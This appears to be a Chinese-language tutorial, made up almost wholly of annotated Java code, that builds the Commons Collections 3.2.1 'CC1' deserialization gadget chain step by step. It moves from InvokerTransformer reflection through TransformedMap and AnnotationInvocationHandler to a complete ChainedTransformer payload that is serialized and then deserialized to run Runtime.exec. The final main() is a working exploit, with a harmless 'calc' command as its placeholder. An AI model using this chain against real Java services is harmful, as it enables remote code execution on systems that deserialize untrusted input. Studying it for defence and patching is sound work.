<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

//含参构造器，我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名，所调用方法的参数类型，所调用方法的参数值
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
//重写的transform方法
public Object transform(Object input) { //接收一个对象
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();                               //可控的获取一个完整类的原型
        Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法
        return method.invoke(input, iArgs);                         //调用该类的方法
      //可以看到这里相当于是调用了我们熟悉的反射机制，来返回某个方法的利用值，这就是明显的利用点

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }

}

//我们来回顾一下如何利用反射调用Runtime中的exec方法
 Runtime r=Runtime.getRuntime();
 Class c=r.getClass();
 Method m=c.getMethod("exec", String.class);
 m.invoke(r,"calc");

//那么我们尝试用transform方法来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec，参数类型为String，参数值为calc
invokerTransformer.transform(r);



//总结:比较上面两种方式，下面的transform相当于模拟了上诉的反射过程。

//我们找到该类的构造器和checkSetValue方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数，第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了，可控。
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer; //这里是可控的
    }

protected Object checkSetValue(Object value) { //接受一个对象类型的参数
    return valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法，那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
}

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer); //接受参数，实例化TransformedMap这个类
}

Runtime r=Runtime.*getRuntime*();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
 HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap

 Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null,invokerTransformer); 
//静态方法staic修饰直接类名＋方法名调用
//把map当成参数传入，然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.

static class MapEntry extends AbstractMapEntryDecorator { //这里定义的是个副类MapEntry
  private final AbstractInputCheckedMapDecorator parent;

​    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
​        super(entry);
​        this.parent = parent;
​    }

​    public Object setValue(Object value) {
​        value = parent.checkSetValue(value);
​        return entry.setValue(value);
​    }
}

Runtime r=Runtime.*getRuntime*();

InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

// invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码，实现相同的功能

 HashMap<Object,Object> map=new HashMap<>();

 map.put("gxngxngxn","gxngxngxn"); //给map一个键值对，方便遍历

 Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null,invokerTransformer);

 for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
         entry.setValue(r);                       //调用setValue方法，并把对象r当作对象传入
    }

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    //接受两个参数，第一个是继承了注解的class，第二个是个Map,第二个参数我们可控，可以传入我们之前的transformedmap类
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

public static void main(String[] args) throws Exception {
        Runtime r=Runtime.*getRuntime*();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//        invokerTransformer.transform(r);
        HashMap<Object,Object> map=new HashMap<>();
        map.put("gxngxngxn","gxngxngxn");
        Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null,invokerTransformer);

/*        for(Map.Entry entry:transformedmap.entrySet()) {
            entry.setValue(r);
        }*/

    //反射获取AnnotationInvocationHandler类
        Class c=Class.*forName*("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
        constructor.setAccessible(true); //修改作用域
        constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型，第二个就是我们之前的类
        serialize(o);  //序列化
        unserialize("C://java/CC1.txt"); //反序列化


​    }

    //定义序列化方法
​    public static void serialize(Object object) throws Exception{
​        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("C://java/CC1.txt"));
​        oos.writeObject(object);
​    }

    //定义反序列化方法
​    public static void unserialize(String filename) throws Exception{
​        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
​        objectInputStream.readObject();
​    }

Class rc=Class.*forName*("java.lang.Runtime");                 //获取类原型
Method getRuntime= rc.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法，
Runtime r=(Runtime) getRuntime.invoke(null,null);              //获取实例化对象，因为该方法无无参方法，所以全为null
Method exec=rc.getDeclaredMethod("exec", String.class);        //获取exec方法
exec.invoke(r,"calc");                                         //实现命令执行

Class rc=Class.*forName*("java.lang.Runtime");

/*Method getRuntime= rc.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method exec=rc.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");*/

//利用transform方法实现上述代码

        Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//这里模拟获取getRuntime方法，它的具体操作步骤类似之前

        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
//这里模拟获取invoke方法

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//这里模拟获取exec方法，并进行命令执行

Class rc=Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据，便于遍历
Transformer[] Transformers=new Transformer[]{
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组，然后调用transform方法，这里对象只需要传一个原始的Runtime就行，因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);

public static void main(String[] args) throws Exception {
        Class rc=Class.*forName*("java.lang.Runtime");
        Transformer[] Transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //添加此行代码，这里解决问题三
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
    //上述利用反射获取类原型+transformer数组＋chainedtransformer遍历实现transform方法，来解决问题一中的无法序列化问题。

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称，通过if判断
        Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null,chainedTransformer);
        Class c=Class.*forName*("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
        *serialize*(o);
        *unserialize*("C://java/CC1.txt");
​    }
​    public static void serialize(Object object) throws Exception{
​        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("C://java/CC1.txt"));
​        oos.writeObject(object);
​    }
​    public static void unserialize(String filename) throws Exception{
​        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
​        objectInputStream.readObject();
​    }